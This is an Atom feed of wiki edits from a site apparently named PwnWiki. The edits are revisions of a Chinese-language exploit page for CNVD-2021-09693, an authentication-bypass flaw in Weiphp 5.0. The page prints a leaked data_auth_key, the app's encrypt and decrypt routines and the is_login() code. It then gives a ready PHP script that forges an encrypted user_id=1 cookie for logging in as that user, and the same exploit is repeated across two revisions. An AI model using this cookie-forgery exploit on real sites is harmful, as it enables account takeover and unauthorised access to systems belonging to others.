<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Evi1f4iry</id>
	<title>PwnWiki - User contributions [Chinese]</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Evi1f4iry"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Special:Contributions/Evi1f4iry"/>
	<updated>2026-04-07T09:17:08Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=3675</id>
		<title>CNVD-2021-09693 Weiphp5.0 任意用戶Cookie偽造漏洞/zh-cn</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=3675"/>
		<updated>2021-05-30T13:16:58Z</updated>

		<summary type="html">&lt;p&gt;Evi1f4iry: Created page with &amp;quot;==漏洞利用==&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;languages  /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==漏洞影响==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Weiphp &amp;lt;= 5.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==漏洞利用==&lt;br /&gt;
&lt;br /&gt;
首先需要得到数据库配置文件中的&amp;lt;code&amp;gt;data_auth_key&amp;lt;/code&amp;gt;密钥&lt;br /&gt;
&lt;br /&gt;
[[File:Weiphp-15.png |800px]]&lt;br /&gt;
&lt;br /&gt;
得到这个配置文件可参考[https://www.pwnwiki.org/index.php?title=CNVD-2020-68596_Weiphp5.0_%E5%89%8D%E5%8F%B0%E6%96%87%E4 %BB%B6%E4%BB%BB%E6%84%8F%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E CNVD-2020-68596 Weiphp5.0 前台文件任意读取漏洞]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
'data_auth_key' =&amp;gt; '+0SeoAC#YR,Jm&amp;amp;c?[PhUg9u;:Drd8Fj4q|XOkx*T'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
全局查找使用了这个密钥的地方:&lt;br /&gt;
&lt;br /&gt;
[[File:Weiphp-16.png |800px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
找到了跟据这个密钥的加密方法和解密方法&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
加密方法 &amp;lt;code&amp;gt;think_encrypt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
function think_encrypt($data, $key = '', $expire = 0)&lt;br /&gt;
{&lt;br /&gt;
    $key = md5(empty($key) ? config('database.data_auth_key') : $key);&lt;br /&gt;
&lt;br /&gt;
    $data = base64_encode($data);&lt;br /&gt;
    $x = 0;&lt;br /&gt;
    $len = strlen($data);&lt;br /&gt;
    $l = strlen($key);&lt;br /&gt;
    $char = '';&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        if ($x == $l) {&lt;br /&gt;
            $x = 0;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        $char .= substr($key, $x, 1);&lt;br /&gt;
        $x++;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $str = sprintf('%010d', $expire ? $expire + time() : 0);&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        $str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1))) % 256);&lt;br /&gt;
    }&lt;br /&gt;
    return str_replace(array(&lt;br /&gt;
        '+',&lt;br /&gt;
        '/',&lt;br /&gt;
        '='&lt;br /&gt;
    ), array(&lt;br /&gt;
        '-',&lt;br /&gt;
        '_',&lt;br /&gt;
        ''&lt;br /&gt;
    ), base64_encode($str));&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
解密方法 &amp;lt;code&amp;gt;think_decrypt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function think_decrypt($data, $key = '')&lt;br /&gt;
{&lt;br /&gt;
    $key = md5(empty($key) ? config('database.data_auth_key') : $key);&lt;br /&gt;
    $data = str_replace(array(&lt;br /&gt;
        '-',&lt;br /&gt;
        '_'&lt;br /&gt;
    ), array(&lt;br /&gt;
        '+',&lt;br /&gt;
        '/'&lt;br /&gt;
    ), $data);&lt;br /&gt;
    $mod4 = strlen($data) % 4;&lt;br /&gt;
    if ($mod4) {&lt;br /&gt;
        $data .= substr('====', $mod4);&lt;br /&gt;
    }&lt;br /&gt;
    $data = base64_decode($data);&lt;br /&gt;
    $expire = substr($data, 0, 10);&lt;br /&gt;
    $data = substr($data, 10);&lt;br /&gt;
&lt;br /&gt;
    if ($expire &amp;gt; 0 &amp;amp;&amp;amp; $expire &amp;lt; time()) {&lt;br /&gt;
        return '';&lt;br /&gt;
    }&lt;br /&gt;
    $x = 0;&lt;br /&gt;
    $len = strlen($data);&lt;br /&gt;
    $l = strlen($key);&lt;br /&gt;
    $char = $str = '';&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        if ($x == $l) {&lt;br /&gt;
            $x = 0;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        $char .= substr($key, $x, 1);&lt;br /&gt;
        $x++;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        if (ord(substr($data, $i, 1)) &amp;lt; ord(substr($char, $i, 1))) {&lt;br /&gt;
            $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));&lt;br /&gt;
        } else {&lt;br /&gt;
            $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return base64_decode($str);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
在文件 &amp;lt;code&amp;gt;application\common.php&amp;lt;/code&amp;gt; 中含有使用解密方法的代码，用于做身份验证&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function is_login()&lt;br /&gt;
{&lt;br /&gt;
    $user = session('user_auth');&lt;br /&gt;
    if (empty($user)) {&lt;br /&gt;
        $cookie_uid = cookie('user_id');&lt;br /&gt;
        if (!empty($cookie_uid)) {&lt;br /&gt;
            $uid = think_decrypt($cookie_uid);&lt;br /&gt;
            $userinfo = getUserInfo($uid);&lt;br /&gt;
            D('common/User')-&amp;gt;autoLogin($userinfo);&lt;br /&gt;
&lt;br /&gt;
            $user = session('user_auth');&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    if (empty($user)) {&lt;br /&gt;
        return 0;&lt;br /&gt;
    } else {&lt;br /&gt;
        return session('user_auth_sign') == data_auth_sign($user) ? $user['uid'] : 0;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
根据这里得到的代码，可以知道当user_Id=1时,会解密密钥后判断是否正确，如果正确则可以登录系统&lt;br /&gt;
&lt;br /&gt;
我们在本地使用加密代码加密user_id=1得到的cookie则可以登录系统&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
show_source(__FILE__);&lt;br /&gt;
function think_encrypt($data, $key = '', $expire = 0)&lt;br /&gt;
{&lt;br /&gt;
    $key = '+0SeoAC#YR,Jm&amp;amp;c?[PhUg9u;:Drd8Fj4q|XOkx*T';&lt;br /&gt;
    $key = md5($key);&lt;br /&gt;
&lt;br /&gt;
    $data = base64_encode($data);&lt;br /&gt;
    $x = 0;&lt;br /&gt;
    $len = strlen($data);&lt;br /&gt;
    $l = strlen($key);&lt;br /&gt;
    $char = '';&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        if ($x == $l) {&lt;br /&gt;
            $x = 0;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        $char .= substr($key, $x, 1);&lt;br /&gt;
        $x++;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $str = sprintf('%010d', $expire ? $expire + time() : 0);&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        $str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1))) % 256);&lt;br /&gt;
    }&lt;br /&gt;
    return str_replace(array(&lt;br /&gt;
        '+',&lt;br /&gt;
        '/',&lt;br /&gt;
        '='&lt;br /&gt;
    ), array(&lt;br /&gt;
        '-',&lt;br /&gt;
        '_',&lt;br /&gt;
        ''&lt;br /&gt;
    ), base64_encode($str));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo 'user_id = ' . think_encrypt($_GET['user_id']);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
添加&amp;lt;code&amp;gt;cookie: user_id=xxxxxxxx&amp;lt;/code&amp;gt;即可成功登录&lt;br /&gt;
&lt;br /&gt;
[[File:Weiphp-18.png |800px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==参考==&lt;br /&gt;
http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7Cookie%E4%BC%AA%E9%80%A0%20CNVD-2021-09693.html&lt;/div&gt;</summary>
		<author><name>Evi1f4iry</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/13/zh-cn&amp;diff=3673</id>
		<title>Translations:CNVD-2021-09693 Weiphp5.0 任意用戶Cookie偽造漏洞/13/zh-cn</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/13/zh-cn&amp;diff=3673"/>
		<updated>2021-05-30T13:15:27Z</updated>

		<summary type="html">&lt;p&gt;Evi1f4iry: Created page with &amp;quot;==参考==&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==参考==&lt;/div&gt;</summary>
		<author><name>Evi1f4iry</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/12/zh-cn&amp;diff=3672</id>
		<title>Translations:CNVD-2021-09693 Weiphp5.0 任意用戶Cookie偽造漏洞/12/zh-cn</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/12/zh-cn&amp;diff=3672"/>
		<updated>2021-05-30T13:15:22Z</updated>

		<summary type="html">&lt;p&gt;Evi1f4iry: Created page with &amp;quot;添加&amp;lt;code&amp;gt;cookie: user_id=xxxxxxxx&amp;lt;/code&amp;gt;即可成功登录&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;添加&amp;lt;code&amp;gt;cookie: user_id=xxxxxxxx&amp;lt;/code&amp;gt;即可成功登录&lt;/div&gt;</summary>
		<author><name>Evi1f4iry</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/11/zh-cn&amp;diff=3671</id>
		<title>Translations:CNVD-2021-09693 Weiphp5.0 任意用戶Cookie偽造漏洞/11/zh-cn</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/11/zh-cn&amp;diff=3671"/>
		<updated>2021-05-30T13:15:16Z</updated>

		<summary type="html">&lt;p&gt;Evi1f4iry: Created page with &amp;quot;我们在本地使用加密代码加密user_id=1得到的cookie则可以登录系统&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;我们在本地使用加密代码加密user_id=1得到的cookie则可以登录系统&lt;/div&gt;</summary>
		<author><name>Evi1f4iry</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/10/zh-cn&amp;diff=3670</id>
		<title>Translations:CNVD-2021-09693 Weiphp5.0 任意用戶Cookie偽造漏洞/10/zh-cn</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/10/zh-cn&amp;diff=3670"/>
		<updated>2021-05-30T13:15:11Z</updated>

		<summary type="html">&lt;p&gt;Evi1f4iry: Created page with &amp;quot;根据这里得到的代码，可以知道当user_Id=1时,会解密密钥后判断是否正确，如果正确则可以登录系统&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;根据这里得到的代码，可以知道当user_Id=1时,会解密密钥后判断是否正确，如果正确则可以登录系统&lt;/div&gt;</summary>
		<author><name>Evi1f4iry</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/9/zh-cn&amp;diff=3669</id>
		<title>Translations:CNVD-2021-09693 Weiphp5.0 任意用戶Cookie偽造漏洞/9/zh-cn</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/9/zh-cn&amp;diff=3669"/>
		<updated>2021-05-30T13:15:04Z</updated>

		<summary type="html">&lt;p&gt;Evi1f4iry: Created page with &amp;quot;在文件 &amp;lt;code&amp;gt;application\common.php&amp;lt;/code&amp;gt; 中含有使用解密方法的代码，用于做身份验证&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;在文件 &amp;lt;code&amp;gt;application\common.php&amp;lt;/code&amp;gt; 中含有使用解密方法的代码，用于做身份验证&lt;/div&gt;</summary>
		<author><name>Evi1f4iry</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/8/zh-cn&amp;diff=3668</id>
		<title>Translations:CNVD-2021-09693 Weiphp5.0 任意用戶Cookie偽造漏洞/8/zh-cn</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/8/zh-cn&amp;diff=3668"/>
		<updated>2021-05-30T13:14:57Z</updated>

		<summary type="html">&lt;p&gt;Evi1f4iry: Created page with &amp;quot;解密方法 &amp;lt;code&amp;gt;think_decrypt&amp;lt;/code&amp;gt;&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;解密方法 &amp;lt;code&amp;gt;think_decrypt&amp;lt;/code&amp;gt;&lt;/div&gt;</summary>
		<author><name>Evi1f4iry</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=3667</id>
		<title>CNVD-2021-09693 Weiphp5.0 任意用戶Cookie偽造漏洞/zh-cn</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=3667"/>
		<updated>2021-05-30T13:14:52Z</updated>

		<summary type="html">&lt;p&gt;Evi1f4iry: Created page with &amp;quot;得到这个配置文件可参考[https://www.pwnwiki.org/index.php?title=CNVD-2020-68596_Weiphp5.0_%E5%89%8D%E5%8F%B0%E6%96%87%E4 %BB%B6%E4%BB%BB%E6%84%8F%E8%AE%80%E5%8F%96%E...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;languages  /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==漏洞影响==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Weiphp &amp;lt;= 5.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==漏洞利用==&lt;br /&gt;
&lt;br /&gt;
首先需要得到数据库配置文件中的&amp;lt;code&amp;gt;data_auth_key&amp;lt;/code&amp;gt;密钥&lt;br /&gt;
&lt;br /&gt;
[[File:Weiphp-15.png |800px]]&lt;br /&gt;
&lt;br /&gt;
得到这个配置文件可参考[https://www.pwnwiki.org/index.php?title=CNVD-2020-68596_Weiphp5.0_%E5%89%8D%E5%8F%B0%E6%96%87%E4 %BB%B6%E4%BB%BB%E6%84%8F%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E CNVD-2020-68596 Weiphp5.0 前台文件任意读取漏洞]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
'data_auth_key' =&amp;gt; '+0SeoAC#YR,Jm&amp;amp;c?[PhUg9u;:Drd8Fj4q|XOkx*T'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
全局查找使用了这个密钥的地方:&lt;br /&gt;
&lt;br /&gt;
[[File:Weiphp-16.png |800px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
找到了跟据这个密钥的加密方法和解密方法&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
加密方法 &amp;lt;code&amp;gt;think_encrypt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
function think_encrypt($data, $key = '', $expire = 0)&lt;br /&gt;
{&lt;br /&gt;
    $key = md5(empty($key) ? config('database.data_auth_key') : $key);&lt;br /&gt;
&lt;br /&gt;
    $data = base64_encode($data);&lt;br /&gt;
    $x = 0;&lt;br /&gt;
    $len = strlen($data);&lt;br /&gt;
    $l = strlen($key);&lt;br /&gt;
    $char = '';&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        if ($x == $l) {&lt;br /&gt;
            $x = 0;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        $char .= substr($key, $x, 1);&lt;br /&gt;
        $x++;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $str = sprintf('%010d', $expire ? $expire + time() : 0);&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        $str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1))) % 256);&lt;br /&gt;
    }&lt;br /&gt;
    return str_replace(array(&lt;br /&gt;
        '+',&lt;br /&gt;
        '/',&lt;br /&gt;
        '='&lt;br /&gt;
    ), array(&lt;br /&gt;
        '-',&lt;br /&gt;
        '_',&lt;br /&gt;
        ''&lt;br /&gt;
    ), base64_encode($str));&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
解密方法 &amp;lt;code&amp;gt;think_decrypt&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function think_decrypt($data, $key = '')&lt;br /&gt;
{&lt;br /&gt;
    $key = md5(empty($key) ? config('database.data_auth_key') : $key);&lt;br /&gt;
    $data = str_replace(array(&lt;br /&gt;
        '-',&lt;br /&gt;
        '_'&lt;br /&gt;
    ), array(&lt;br /&gt;
        '+',&lt;br /&gt;
        '/'&lt;br /&gt;
    ), $data);&lt;br /&gt;
    $mod4 = strlen($data) % 4;&lt;br /&gt;
    if ($mod4) {&lt;br /&gt;
        $data .= substr('====', $mod4);&lt;br /&gt;
    }&lt;br /&gt;
    $data = base64_decode($data);&lt;br /&gt;
    $expire = substr($data, 0, 10);&lt;br /&gt;
    $data = substr($data, 10);&lt;br /&gt;
&lt;br /&gt;
    if ($expire &amp;gt; 0 &amp;amp;&amp;amp; $expire &amp;lt; time()) {&lt;br /&gt;
        return '';&lt;br /&gt;
    }&lt;br /&gt;
    $x = 0;&lt;br /&gt;
    $len = strlen($data);&lt;br /&gt;
    $l = strlen($key);&lt;br /&gt;
    $char = $str = '';&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        if ($x == $l) {&lt;br /&gt;
            $x = 0;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        $char .= substr($key, $x, 1);&lt;br /&gt;
        $x++;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        if (ord(substr($data, $i, 1)) &amp;lt; ord(substr($char, $i, 1))) {&lt;br /&gt;
            $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));&lt;br /&gt;
        } else {&lt;br /&gt;
            $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return base64_decode($str);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
在文件 &amp;lt;code&amp;gt;application\common.php&amp;lt;/code&amp;gt; 中含有使用解密方法的代碼，用於做身份驗證&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function is_login()&lt;br /&gt;
{&lt;br /&gt;
    $user = session('user_auth');&lt;br /&gt;
    if (empty($user)) {&lt;br /&gt;
        $cookie_uid = cookie('user_id');&lt;br /&gt;
        if (!empty($cookie_uid)) {&lt;br /&gt;
            $uid = think_decrypt($cookie_uid);&lt;br /&gt;
            $userinfo = getUserInfo($uid);&lt;br /&gt;
            D('common/User')-&amp;gt;autoLogin($userinfo);&lt;br /&gt;
&lt;br /&gt;
            $user = session('user_auth');&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    if (empty($user)) {&lt;br /&gt;
        return 0;&lt;br /&gt;
    } else {&lt;br /&gt;
        return session('user_auth_sign') == data_auth_sign($user) ? $user['uid'] : 0;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
根據這裡得到的代碼，可以知道當user_Id=1時,會解密密鑰後判斷是否正確，如果正確則可以登錄系統&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
我們在本地使用加密代碼加密user_id=1得到的cookie則可以登錄系統&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
show_source(__FILE__);&lt;br /&gt;
function think_encrypt($data, $key = '', $expire = 0)&lt;br /&gt;
{&lt;br /&gt;
    $key = '+0SeoAC#YR,Jm&amp;amp;c?[PhUg9u;:Drd8Fj4q|XOkx*T';&lt;br /&gt;
    $key = md5($key);&lt;br /&gt;
&lt;br /&gt;
    $data = base64_encode($data);&lt;br /&gt;
    $x = 0;&lt;br /&gt;
    $len = strlen($data);&lt;br /&gt;
    $l = strlen($key);&lt;br /&gt;
    $char = '';&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        if ($x == $l) {&lt;br /&gt;
            $x = 0;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        $char .= substr($key, $x, 1);&lt;br /&gt;
        $x++;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $str = sprintf('%010d', $expire ? $expire + time() : 0);&lt;br /&gt;
&lt;br /&gt;
    for ($i = 0; $i &amp;lt; $len; $i++) {&lt;br /&gt;
        $str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1))) % 256);&lt;br /&gt;
    }&lt;br /&gt;
    return str_replace(array(&lt;br /&gt;
        '+',&lt;br /&gt;
        '/',&lt;br /&gt;
        '='&lt;br /&gt;
    ), array(&lt;br /&gt;
        '-',&lt;br /&gt;
        '_',&lt;br /&gt;
        ''&lt;br /&gt;
    ), base64_encode($str));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo 'user_id = ' . think_encrypt($_GET['user_id']);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
添加&amp;lt;code&amp;gt;cookie: user_id=xxxxxxxx&amp;lt;/code&amp;gt;即可成功登錄&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Weiphp-18.png |800px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div lang=&amp;quot;chinese&amp;quot; dir=&amp;quot;ltr&amp;quot; class=&amp;quot;mw-content-ltr&amp;quot;&amp;gt;&lt;br /&gt;
==參考==&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7Cookie%E4%BC%AA%E9%80%A0%20CNVD-2021-09693.html&lt;/div&gt;</summary>
		<author><name>Evi1f4iry</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/7/zh-cn&amp;diff=3666</id>
		<title>Translations:CNVD-2021-09693 Weiphp5.0 任意用戶Cookie偽造漏洞/7/zh-cn</title>
